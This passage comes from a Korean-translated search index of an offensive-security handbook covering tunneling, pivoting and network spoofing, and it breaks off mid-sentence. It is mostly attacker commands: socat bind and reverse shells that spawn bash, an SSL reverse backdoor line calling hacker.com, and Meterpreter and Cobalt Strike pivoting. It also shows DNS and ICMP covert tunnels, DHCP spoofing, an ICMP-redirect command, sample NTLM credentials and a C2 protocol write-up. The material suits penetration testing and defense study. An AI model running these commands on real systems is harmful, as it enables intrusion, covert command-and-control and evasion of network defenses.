/proc/sys/net/ipv4/ip_forward\\niptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE 클라이언트 측에 새 경로 설정 route add -net 10.0.0.0/16 gw 1.1.1.1 note 보안 – 테라핀 공격 (CVE-2023-48795) 2023 테라핀 다운그레이드 공격은 중간자 공격자가 초기 SSH 핸드셰이크를 조작하고 모든 포워딩 채널 ( -L, -R, -D )에 데이터를 주입할 수 있게 합니다. 클라이언트와 서버 모두 패치되었는지 확인하세요 ( OpenSSH ≥ 9.6/LibreSSH 6.7 ) 또는 SSH 터널에 의존하기 전에 취약한 chacha20-poly1305@openssh.com 및 *-etm@openssh.com 알고리즘을 sshd_config/ssh_config에서 명시적으로 비활성화하세요.","breadcrumbs":"Tunneling and Port Forwarding » VPN-Tunnel","id":"1285","title":"VPN-Tunnel"},"1286":{"body":"ssh 를 통해 서브네트워크 로 모든 트래픽 을 호스트를 통해 터널링 할 수 있습니다. 예를 들어, 10.10.10.0/24로 가는 모든 트래픽을 포워딩합니다. bash pip install sshuttle\\nsshuttle -r user@host 10.10.10.10/24 개인 키로 연결하기 bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd \'ssh -i ./id_rsa\'\\n# -D : Daemon mode","breadcrumbs":"Tunneling and Port Forwarding » SSHUTTLE","id":"1286","title":"SSHUTTLE"},"1287":{"body":"","breadcrumbs":"Tunneling and Port Forwarding » Meterpreter","id":"1287","title":"Meterpreter"},"1288":{"body":"로컬 포트 --> 손상된 호스트 (활성 세션) --> 제3_박스:포트 bash # Inside a meterpreter session\\nportfwd add -l -p -r ","breadcrumbs":"Tunneling and Port Forwarding » Port2Port","id":"1288","title":"Port2Port"},"1289":{"body":"bash background# meterpreter session\\nroute add # (ex: route add 10.10.10.14 255.255.255.0 8)\\nuse auxiliary/server/socks_proxy\\nrun #Proxy port 1080 by default\\necho \\"socks4 127.0.0.1 1080\\" > /etc/proxychains.conf #Proxychains 다른 방법: bash background #meterpreter session\\nuse post/multi/manage/autoroute\\nset SESSION \\nset SUBNET #Ex: set SUBNET 10.1.13.0\\nset NETMASK \\nrun\\nuse auxiliary/server/socks_proxy\\nset VERSION 4a\\nrun #Proxy port 1080 by default\\necho \\"socks4 127.0.0.1 1080\\" > /etc/proxychains.conf #Proxychains","breadcrumbs":"Tunneling and Port Forwarding » SOCKS","id":"1289","title":"SOCKS"},"129":{"body":"Open Shortest Path First(OSPF) 프로토콜에서는 라우터 간의 보안 통신을 위해 MD5 인증이 일반적으로 사용됩니다. 그러나 Loki나 John the Ripper와 같은 도구를 사용하면 이 보안 조치를 무력화할 수 있습니다. 이러한 도구들은 MD5 해시를 캡처하고 크랙하여 인증 키를 노출시킬 수 있습니다. 일단 이 키를 얻으면 새로운 라우팅 정보를 주입하는 데 사용할 수 있습니다. 라우트 파라미터를 구성하고 탈취된 키를 설정하려면 각각 Injection 탭과 Connection 탭을 사용합니다. Capturing and Cracking MD5 Hashes: Loki 및 John the Ripper와 같은 도구를 사용합니다. Configuring Route Parameters: Injection 탭을 통해 수행합니다. Setting the Compromised Key: 해당 키는 Connection 탭에서 설정합니다.","breadcrumbs":"Pentesting Network » OSPF","id":"129","title":"OSPF"},"1290":{"body":"","breadcrumbs":"Tunneling and Port Forwarding » Cobalt Strike","id":"1290","title":"Cobalt Strike"},"1291":{"body":"모든 인터페이스에서 수신 대기하는 팀 서버에서 포트를 열어 비콘을 통해 트래픽을 라우팅 하는 데 사용할 수 있습니다. bash beacon> socks 1080\\n[+] started SOCKS4a server on: 1080 # Set port 1080 as proxy server in proxychains.conf\\nproxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25","breadcrumbs":"Tunneling and Port Forwarding » SOCKS 프록시","id":"1291","title":"SOCKS 프록시"},"1292":{"body":"warning 이 경우, 포트는 비콘 호스트에서 열립니다 , 팀 서버가 아니라 팀 서버로 트래픽이 전송되고, 그곳에서 지정된 호스트:포트로 전송됩니다. bash rportfwd [bind port] [forward host] [forward port]\\nrportfwd stop [bind port] To note: Beacon의 리버스 포트 포워드는 개별 머신 간의 중계가 아니라 Team Server로 트래픽을 터널링하기 위해 설계되었습니다 . 트래픽은 Beacon의 C2 트래픽 내에서 터널링됩니다 , P2P 링크를 포함하여. 리버스 포트 포워드를 생성하는 데 관리자 권한이 필요하지 않습니다 .","breadcrumbs":"Tunneling and Port Forwarding » rPort2Port","id":"1292","title":"rPort2Port"},"1293":{"body":"warning 이 경우, 포트는 비콘 호스트에서 열리며 , Team Server가 아니라 트래픽은 Cobalt Strike 클라이언트로 전송됩니다 (Team Server가 아니라) 그리고 거기서 지정된 호스트:포트로 전송됩니다. bash rportfwd_local [bind port] [forward host] [forward port]\\nrportfwd_local stop [bind port]","breadcrumbs":"Tunneling and Port Forwarding » rPort2Port local","id":"1293","title":"rPort2Port local"},"1294":{"body":"https://github.com/sensepost/reGeorg 웹 파일 터널을 업로드해야 합니다: ashx|aspx|js|jsp|php|php|jsp bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp","breadcrumbs":"Tunneling and Port Forwarding » reGeorg","id":"1294","title":"reGeorg"},"1295":{"body":"https://github.com/jpillora/chisel 의 릴리스 페이지에서 다운로드할 수 있습니다. 클라이언트와 서버에 동일한 버전을 사용해야 합니다.","breadcrumbs":"Tunneling and Port Forwarding » Chisel","id":"1295","title":"Chisel"},"1296":{"body":"bash ./chisel server -p 8080 --reverse #Server -- Attacker\\n./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim\\n#And now you can use proxychains with port 1080 (default) ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)\\n./chisel client -v 10.10.10.10:8080 socks #Attacker","breadcrumbs":"Tunneling and Port Forwarding » socks","id":"1296","title":"socks"},"1297":{"body":"bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker\\n./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim","breadcrumbs":"Tunneling and Port Forwarding » 포트 포워딩","id":"1297","title":"포트 포워딩"},"1298":{"body":"https://github.com/nicocha30/ligolo-ng 에이전트와 프록시에 동일한 버전을 사용하세요","breadcrumbs":"Tunneling and Port Forwarding » Ligolo-ng","id":"1298","title":"Ligolo-ng"},"1299":{"body":"bash # Start proxy server and automatically generate self-signed TLS certificates -- Attacker\\nsudo ./proxy -selfcert\\n# Create an interface named \\"ligolo\\" -- Attacker\\ninterface_create --name \\"ligolo\\"\\n# Print the currently used certificate fingerprint -- Attacker\\ncertificate_fingerprint\\n# Start the agent with certification validation -- Victim\\n./agent -connect :11601 -v -accept-fingerprint \\n# Select the agent -- Attacker\\nsession\\n1\\n# Start the tunnel on the proxy server -- Attacker\\ntunnel_start --tun \\"ligolo\\"\\n# Display the agent\'s network configuration -- Attacker\\nifconfig\\n# Create a route to the agent\'s specified network -- Attacker\\ninterface_add_route --name \\"ligolo\\" --route /\\n# Display the tun interfaces -- Attacker\\ninterface_list","breadcrumbs":"Tunneling and Port Forwarding » 터널링","id":"1299","title":"터널링"},"13":{"body":"현장을 위해 만들어졌습니다. 당신을 중심으로 만들어졌습니다. Cyber Helmets 는 업계 전문가들이 구축하고 이끄는 효과적인 사이버 보안 교육을 개발하고 제공합니다. 그들의 프로그램은 이론을 넘어 팀에 깊은 이해와 실행 가능한 기술을 제공하며, 실제 위협을 반영하는 맞춤형 환경을 사용합니다. 맞춤형 교육 문의는 여기 에서 문의하세요. 그들의 교육을 차별화하는 요소: 맞춤형 콘텐츠 및 실습실 최고급 도구 및 플랫폼 지원 실무자에 의해 설계되고 교육됨 Courses - Cyber Helmets","breadcrumbs":"HackTricks » CyberHelmets","id":"13","title":"CyberHelmets"},"130":{"body":"Above : 네트워크 트래픽을 스캔하고 취약점을 찾는 도구 네트워크 공격에 대한 더 많은 정보는 here .","breadcrumbs":"Pentesting Network » Other Generic Tools & Sources","id":"130","title":"Other Generic Tools & Sources"},"1300":{"body":"bash # Establish a tunnel from the proxy server to the agent\\n# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker\\nlistener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp\\n# Display the currently running listeners on the agent -- Attacker\\nlistener_list","breadcrumbs":"Tunneling and Port Forwarding » 에이전트 바인딩 및 리스닝","id":"1300","title":"에이전트 바인딩 및 리스닝"},"1301":{"body":"bash # Establish a tunnel from the proxy server to the agent\\n# Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent\'s local services -- Attacker\\ninterface_add_route --name \\"ligolo\\" --route 240.0.0.1/32","breadcrumbs":"Tunneling and Port Forwarding » 에이전트의 로컬 포트 접근","id":"1301","title":"에이전트의 로컬 포트 접근"},"1302":{"body":"https://github.com/klsecservices/rpivot 역방향 터널. 터널은 피해자에서 시작됩니다. 127.0.0.1:1080에 socks4 프록시가 생성됩니다. bash attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 bash victim> python client.py --server-ip --server-port 9999 NTLM 프록시 를 통한 피벗팅 bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45","breadcrumbs":"Tunneling and Port Forwarding » Rpivot","id":"1302","title":"Rpivot"},"1303":{"body":"https://github.com/andrew-d/static-binaries","breadcrumbs":"Tunneling and Port Forwarding » Socat","id":"1303","title":"Socat"},"1304":{"body":"bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane\\nattacker> socat FILE:`tty`,raw,echo=0 TCP4::1337","breadcrumbs":"Tunneling and Port Forwarding » 바인드 셸","id":"1304","title":"바인드 셸"},"1305":{"body":"bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0\\nvictim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane","breadcrumbs":"Tunneling and Port Forwarding » 리버스 셸","id":"1305","title":"리버스 셸"},"1306":{"body":"bash socat TCP4-LISTEN:,fork TCP4:: &","breadcrumbs":"Tunneling and Port Forwarding » Port2Port","id":"1306","title":"Port2Port"},"1307":{"body":"bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678","breadcrumbs":"Tunneling and Port Forwarding » Port2Port through socks","id":"1307","title":"Port2Port through socks"},"1308":{"body":"bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port\\nattacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 bash victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5\\n#Execute the meterpreter 다음과 같이 피해자의 콘솔에서 마지막 줄 대신 이 줄을 실행하여 비인증 프록시 를 우회할 수 있습니다: bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/","breadcrumbs":"Tunneling and Port Forwarding » Meterpreter를 통한 SSL Socat","id":"1308","title":"Meterpreter를 통한 SSL Socat"},"1309":{"body":"/bin/sh 콘솔 클라이언트와 서버 양쪽에 인증서를 생성합니다. bash # Execute these commands on both sides\\nFILENAME=socatssl\\nopenssl genrsa -out $FILENAME.key 1024\\nopenssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt\\ncat $FILENAME.key $FILENAME.crt >$FILENAME.pem\\nchmod 600 $FILENAME.key $FILENAME.pem bash attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh\\nvictim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt","breadcrumbs":"Tunneling and Port Forwarding » SSL Socat 터널","id":"1309","title":"SSL Socat 터널"},"131":{"body":"공격자는 가짜 DHCP 응답을 보내 네트워크의 새로운 멤버에 대해 모든 네트워크 파라미터(GW, IP, DNS)를 설정합니다. bash Ettercap\\nyersinia dhcp -attack 2 #More parameters are needed","breadcrumbs":"Pentesting Network » Spoofing","id":"131","title":"Spoofing"},"1310":{"body":"로컬 SSH 포트(22)를 공격자 호스트의 443 포트에 연결합니다. bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost\\nvictim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22\\nattacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim","breadcrumbs":"Tunneling and Port Forwarding » Remote Port2Port","id":"1310","title":"Remote Port2Port"},"1311":{"body":"콘솔 PuTTY 버전과 비슷합니다 (옵션은 ssh 클라이언트와 매우 유사합니다). 이 바이너리는 피해자에서 실행될 것이며 ssh 클라이언트이므로, 역 연결을 위해 ssh 서비스와 포트를 열어야 합니다. 그런 다음, 로컬에서 접근 가능한 포트만을 우리 머신의 포트로 포워딩하려면: bash echo y | plink.exe -l -pw [-p ] -R :: \\necho y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090","breadcrumbs":"Tunneling and Port Forwarding » Plink.exe","id":"1311","title":"Plink.exe"},"1312":{"body":"","breadcrumbs":"Tunneling and Port Forwarding » Windows netsh","id":"1312","title":"Windows netsh"},"1313":{"body":"로컬 관리자가 되어야 합니다 (모든 포트에 대해) bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp\\n# Example:\\nnetsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444\\n# Check the port forward was created:\\nnetsh interface portproxy show v4tov4\\n# Delete port forward\\nnetsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444","breadcrumbs":"Tunneling and Port Forwarding » Port2Port","id":"1313","title":"Port2Port"},"1314":{"body":"RDP 액세스가 시스템에 필요합니다. 다운로드: SocksOverRDP x64 Binaries - 이 도구는 Windows의 원격 데스크톱 서비스 기능에서 Dynamic Virtual Channels (DVC)를 사용합니다. DVC는 RDP 연결을 통한 패킷 터널링 을 담당합니다. Proxifier Portable Binary 클라이언트 컴퓨터에서 **SocksOverRDP-Plugin.dll**을 다음과 같이 로드합니다: bash # Load SocksOverRDP.dll using regsvr32.exe\\nC:\\\\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll 이제 **mstsc.exe**를 사용하여 RDP 를 통해 희생자 에 연결 할 수 있으며, SocksOverRDP 플러그인이 활성화되었다는 프롬프트 를 받게 되고, 127.0.0.1:1080 에서 대기 할 것입니다. RDP 를 통해 연결 하고 희생자 머신에 SocksOverRDP-Server.exe 바이너리를 업로드 및 실행합니다: C:\\\\SocksOverRDP-x64> SocksOverRDP-Server.exe 이제 공격자 머신에서 포트 1080이 수신 대기 중인지 확인하세요: netstat -antb | findstr 1080 이제 Proxifier 를 사용하여 해당 포트를 통해 트래픽을 프록시할 수 있습니다.","breadcrumbs":"Tunneling and Port Forwarding » SocksOverRDP & Proxifier","id":"1314","title":"SocksOverRDP & Proxifier"},"1315":{"body":"Proxifier 를 사용하여 Windows GUI 앱이 프록시를 통해 탐색하도록 할 수 있습니다. Profile -> Proxy Servers 에서 SOCKS 서버의 IP와 포트를 추가합니다. Profile -> Proxification Rules 에서 프록시화할 프로그램의 이름과 프록시화할 IP에 대한 연결을 추가합니다.","breadcrumbs":"Tunneling and Port Forwarding » Windows GUI 앱 프록시화","id":"1315","title":"Windows GUI 앱 프록시화"},"1316":{"body":"앞서 언급한 도구: Rpivot OpenVPN 도 이를 우회할 수 있으며, 구성 파일에서 이러한 옵션을 설정합니다: bash http-proxy 8080 ntlm","breadcrumbs":"Tunneling and Port Forwarding » NTLM 프록시 우회","id":"1316","title":"NTLM 프록시 우회"},"1317":{"body":"http://cntlm.sourceforge.net/ 프록시에 대해 인증하고 지정한 외부 서비스로 포트를 로컬에서 바인딩합니다. 그런 다음 이 포트를 통해 원하는 도구를 사용할 수 있습니다. 예를 들어 포트 443을 포워딩합니다. Username Alice\\nPassword P@ssw0rd\\nDomain CONTOSO.COM\\nProxy 10.0.0.10:8080\\nTunnel 2222::443 이제, 예를 들어 피해자의 SSH 서비스가 포트 443에서 수신 대기하도록 설정하면, 공격자는 포트 2222를 통해 연결할 수 있습니다. 또한 meterpreter 를 사용하여 localhost:443에 연결하고 공격자가 포트 2222에서 수신 대기할 수도 있습니다.","breadcrumbs":"Tunneling and Port Forwarding » Cntlm","id":"1317","title":"Cntlm"},"1318":{"body":"Microsoft에서 만든 리버스 프록시입니다. 여기에서 찾을 수 있습니다: https://github.com/microsoft/reverse-proxy","breadcrumbs":"Tunneling and Port Forwarding » YARP","id":"1318","title":"YARP"},"1319":{"body":"","breadcrumbs":"Tunneling and Port Forwarding » DNS Tunneling","id":"1319","title":"DNS Tunneling"},"132":{"body":"previous section 을 확인하세요.","breadcrumbs":"Pentesting Network » ARP Spoofing","id":"132","title":"ARP Spoofing"},"1320":{"body":"https://code.kryo.se/iodine/ 두 시스템 모두에서 루트 권한이 필요하며, DNS 쿼리를 사용하여 tun 어댑터를 생성하고 데이터 터널링을 수행합니다. attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com\\nvictim> iodine -f -P P@ssw0rd tunneldomain.com -r\\n#You can see the victim at 1.1.1.2 터널은 매우 느릴 것입니다. 이 터널을 통해 압축된 SSH 연결을 생성할 수 있습니다: ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080","breadcrumbs":"Tunneling and Port Forwarding » Iodine","id":"1320","title":"Iodine"},"1321":{"body":"여기에서 다운로드 . DNS를 통해 C&C 채널을 설정합니다. 루트 권한이 필요하지 않습니다. bash attacker> ruby ./dnscat2.rb tunneldomain.com\\nvictim> ./dnscat2 tunneldomain.com # If using it in an internal network for a CTF:\\nattacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache\\nvictim> ./dnscat2 --dns host=10.10.10.10,port=5353 PowerShell에서 dnscat2-powershell 를 사용하여 PowerShell에서 dnscat2 클라이언트를 실행할 수 있습니다: Import-Module .\\\\dnscat2.ps1\\nStart-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd dnscat을 이용한 포트 포워딩 bash session -i \\nlisten [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host 프록시체인 DNS 변경 Proxychains는 gethostbyname libc 호출을 가로채고 TCP DNS 요청을 socks 프록시를 통해 터널링합니다. 기본적으로 proxychains가 사용하는 DNS 서버는 4.2.2.2 (하드코딩됨)입니다. 이를 변경하려면 파일을 편집하세요: /usr/lib/proxychains3/proxyresolv 및 IP를 변경합니다. Windows 환경 에 있는 경우 도메인 컨트롤러 의 IP를 설정할 수 있습니다.","breadcrumbs":"Tunneling and Port Forwarding » DNSCat2","id":"1321","title":"DNSCat2"},"1322":{"body":"https://github.com/hotnops/gtunnel","breadcrumbs":"Tunneling and Port Forwarding » Go에서의 터널","id":"1322","title":"Go에서의 터널"},"1323":{"body":"Storm-2603 행위자는 단지 아웃바운드 DNS 및 일반 HTTP POST 트래픽을 악용하는 **이중 채널 C2 (\\"AK47C2\\")**를 생성했습니다 – 기업 네트워크에서 거의 차단되지 않는 두 가지 프로토콜입니다. DNS 모드 (AK47DNS) • 무작위 5자 SessionID (예: H4T14)를 생성합니다. • 작업 요청 에는 1을, 결과 에는 2를 접두사로 붙이고 다양한 필드(플래그, SessionID, 컴퓨터 이름)를 연결합니다. • 각 필드는 **ASCII 키 VHBD@H**로 XOR 암호화되고, 16진수로 인코딩되며 점으로 붙여져 최종적으로 공격자가 제어하는 도메인으로 끝납니다: text <1|2>.a..update.updatemicfosoft.com • 요청은 TXT (및 백업 MG ) 레코드에 대해 DnsQuery()를 사용합니다. • 응답이 0xFF 바이트를 초과하면 백도어는 데이터를 63바이트 조각으로 분할하고 마커를 삽입합니다: stp 그래서 C2 서버가 이를 재정렬할 수 있습니다. HTTP 모드 (AK47HTTP) • JSON 봉투를 만듭니다: json {\\"cmd\\":\\"\\",\\"cmd_id\\":\\"\\",\\"fqdn\\":\\"\\",\\"result\\":\\"\\",\\"type\\":\\"task\\"} • 전체 블롭은 XOR-VHBD@H → 16진수 → **POST /**의 본문으로 전송됩니다. 헤더는 Content-Type: text/plain입니다. • 응답은 동일한 인코딩을 따르며 cmd 필드는 cmd.exe /c 2>&1로 실행됩니다. 블루 팀 노트 • 첫 번째 레이블이 긴 16진수이고 항상 하나의 희귀 도메인으로 끝나는 비정상적인 TXT 쿼리 를 찾으세요. • 상수 XOR 키 뒤에 ASCII-16진수가 있는 것은 YARA로 쉽게 감지할 수 있습니다: 6?56484244?484 (VHBD@H의 16진수). • HTTP의 경우 순수 16진수이고 2바이트의 배수인 text/plain POST 본문에 플래그를 지정하세요. {{#note}} 전체 채널은 표준 RFC 준수 쿼리 내에 적합하며 각 서브 도메인 레이블을 63바이트 이하로 유지하여 대부분의 DNS 로그에서 은밀하게 유지됩니다. {{#endnote}}","breadcrumbs":"Tunneling and Port Forwarding » 사용자 정의 DNS TXT / HTTP JSON C2 (AK47C2)","id":"1323","title":"사용자 정의 DNS TXT / HTTP JSON C2 (AK47C2)"},"1324":{"body":"","breadcrumbs":"Tunneling and Port Forwarding » ICMP 터널링","id":"1324","title":"ICMP 터널링"},"1325":{"body":"https://github.com/friedrich/hans https://github.com/albertzak/hanstunnel 두 시스템 모두에서 루트 권한이 필요하여 tun 어댑터를 생성하고 ICMP 에코 요청을 사용하여 데이터 간에 터널링합니다. bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)\\n./hans -f -c -p P@ssw0rd -v\\nping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100","breadcrumbs":"Tunneling and Port Forwarding » Hans","id":"1325","title":"Hans"},"1326":{"body":"여기에서 다운로드 . bash # Generate it\\nsudo ./autogen.sh # Server -- victim (needs to be able to receive ICMP)\\nsudo ptunnel-ng\\n# Client - Attacker\\nsudo ptunnel-ng -p -l -r -R \\n# Try to connect with SSH through ICMP tunnel\\nssh -p 2222 -l user 127.0.0.1\\n# Create a socks proxy through the SSH connection through the ICMP tunnel\\nssh -D 9050 -p 2222 -l user 127.0.0.1","breadcrumbs":"Tunneling and Port Forwarding » ptunnel-ng","id":"1326","title":"ptunnel-ng"},"1327":{"body":"ngrok 는 한 줄의 명령어로 솔루션을 인터넷에 노출하는 도구입니다. 노출 URI는 다음과 같습니다: UID.ngrok.io","breadcrumbs":"Tunneling and Port Forwarding » ngrok","id":"1327","title":"ngrok"},"1328":{"body":"계정 생성: https://ngrok.com/signup 클라이언트 다운로드: bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin\\nchmod a+x ./ngrok\\n# Init configuration, with your token\\n./ngrok config edit","breadcrumbs":"Tunneling and Port Forwarding » 설치","id":"1328","title":"설치"},"1329":{"body":"문서: https://ngrok.com/docs/getting-started/ . 필요한 경우 인증 및 TLS를 추가하는 것도 가능합니다. TCP 터널링 bash # Pointing to 0.0.0.0:4444\\n./ngrok tcp 4444\\n# Example of resulting link: 0.tcp.ngrok.io:12345\\n# Listen (example): nc -nvlp 4444\\n# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 HTTP를 통한 파일 노출 bash ./ngrok http file:///tmp/httpbin/\\n# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ HTTP 호출 스니핑 XSS, SSRF, SSTI 등에 유용 ... stdout 또는 HTTP 인터페이스에서 직접 http://127.0.0.1:4040 에서. 내부 HTTP 서비스 터널링 bash ./ngrok http localhost:8080 --host-header=rewrite\\n# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/\\n# With basic auth\\n./ngrok http localhost:8080 --host-header=rewrite --auth=\\"myuser:mysuperpassword\\" ngrok.yaml 간단한 구성 예제 3개의 터널을 엽니다: 2 TCP 1 HTTP, /tmp/httpbin/에서 정적 파일 노출 yaml tunnels:\\nmytcp:\\naddr: 4444\\nproto: tcptunne\\nanothertcp:\\naddr: 5555\\nproto: tcp\\nhttpstatic:\\nproto: http\\naddr: file:///tmp/httpbin/","breadcrumbs":"Tunneling and Port Forwarding » 기본 사용법","id":"1329","title":"기본 사용법"},"133":{"body":"ICMP Redirect는 ICMP 패킷(type 1 code 5)을 전송하여 attacker가 특정 IP에 도달하는 가장 좋은 경로임을 알리는 기법입니다. 그런 다음 victim이 해당 IP로 통신하려 할 때 패킷은 attacker를 통해 전송됩니다. bash Ettercap\\nicmp_redirect\\nhping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]","breadcrumbs":"Pentesting Network » ICMPRedirect","id":"133","title":"ICMPRedirect"},"1330":{"body":"Cloudflare의 cloudflared 데몬은 로컬 TCP/UDP 서비스 를 노출하는 아웃바운드 터널을 생성할 수 있으며, 이를 위해 인바운드 방화벽 규칙이 필요하지 않습니다. Cloudflare의 엣지를 만남의 지점으로 사용합니다. 이는 이그레스 방화벽이 HTTPS 트래픽만 허용하고 인바운드 연결이 차단될 때 매우 유용합니다.","breadcrumbs":"Tunneling and Port Forwarding » Cloudflared (Cloudflare Tunnel)","id":"1330","title":"Cloudflared (Cloudflare Tunnel)"},"1331":{"body":"bash # Expose a local web service listening on 8080\\ncloudflared tunnel --url http://localhost:8080\\n# => Generates https://.trycloudflare.com that forwards to 127.0.0.1:8080","breadcrumbs":"Tunneling and Port Forwarding » Quick tunnel one-liner","id":"1331","title":"Quick tunnel one-liner"},"1332":{"body":"bash # Turn the tunnel into a SOCKS5 proxy on port 1080\\ncloudflared tunnel --url socks5://localhost:1080 --socks5\\n# Now configure proxychains to use 127.0.0.1:1080","breadcrumbs":"Tunneling and Port Forwarding » SOCKS5 피벗","id":"1332","title":"SOCKS5 피벗"},"1333":{"body":"bash cloudflared tunnel create mytunnel\\ncloudflared tunnel route dns mytunnel internal.example.com\\n# config.yml\\nTunnel: \\ncredentials-file: /root/.cloudflared/.json\\nurl: http://127.0.0.1:8000 커넥터 시작: bash cloudflared tunnel run mytunnel 모든 트래픽이 호스트에서 443 포트를 통해 아웃바운드 로 나가기 때문에, Cloudflared 터널은 인그레스 ACL 또는 NAT 경계를 우회하는 간단한 방법입니다. 이진 파일은 일반적으로 권한이 상승된 상태로 실행되므로, 가능한 경우 컨테이너를 사용하거나 --user 플래그를 사용하세요.","breadcrumbs":"Tunneling and Port Forwarding » DNS를 이용한 지속적인 터널","id":"1333","title":"DNS를 이용한 지속적인 터널"},"1334":{"body":"frp 는 TCP, UDP, HTTP/S, SOCKS 및 P2P NAT 홀 펀칭 을 지원하는 적극적으로 유지 관리되는 Go 리버스 프록시입니다. **v0.53.0 (2024년 5월)**부터는 SSH 터널 게이트웨이 로 작동할 수 있어, 대상 호스트가 추가 이진 파일 없이 기본 OpenSSH 클라이언트만 사용하여 리버스 터널을 생성할 수 있습니다.","breadcrumbs":"Tunneling and Port Forwarding » FRP (Fast Reverse Proxy)","id":"1334","title":"FRP (Fast Reverse Proxy)"},"1335":{"body":"bash # Attacker / server\\n./frps -c frps.toml # listens on 0.0.0.0:7000 # Victim\\n./frpc -c frpc.toml # will expose 127.0.0.1:3389 on frps:5000 # frpc.toml\\nserverAddr = \\"attacker_ip\\"\\nserverPort = 7000 [[proxies]]\\nname = \\"rdp\\"\\ntype = \\"tcp\\"\\nlocalIP = \\"127.0.0.1\\"\\nlocalPort = 3389\\nremotePort = 5000","breadcrumbs":"Tunneling and Port Forwarding » 클래식 리버스 TCP 터널","id":"1335","title":"클래식 리버스 TCP 터널"},"1336":{"body":"bash # On frps (attacker)\\nsshTunnelGateway.bindPort = 2200 # add to frps.toml\\n./frps -c frps.toml # On victim (OpenSSH client only)\\nssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000 위 명령은 피해자의 포트 8080 을 attacker_ip:9000 으로 게시하며, 추가 도구를 배포하지 않고도 수행됩니다 – 이는 living-off-the-land 피벗에 이상적입니다.","breadcrumbs":"Tunneling and Port Forwarding » 새로운 SSH 게이트웨이 사용하기 (frpc 바이너리 없음)","id":"1336","title":"새로운 SSH 게이트웨이 사용하기 (frpc 바이너리 없음)"},"1337":{"body":"QEMU의 사용자 모드 네트워킹(-netdev user)은 hostfwd라는 옵션을 지원하며, 이는 호스트의 TCP/UDP 포트를 바인딩하고 이를 게스트 로 전달합니다 . 게스트가 전체 SSH 데몬을 실행할 때, hostfwd 규칙은 일회용 SSH 점프 박스를 제공하며, 이는 완전히 임시 VM 내에서 살아 있습니다 – 모든 악성 활동과 파일이 가상 디스크에 남아 있기 때문에 EDR로부터 C2 트래픽을 숨기기에 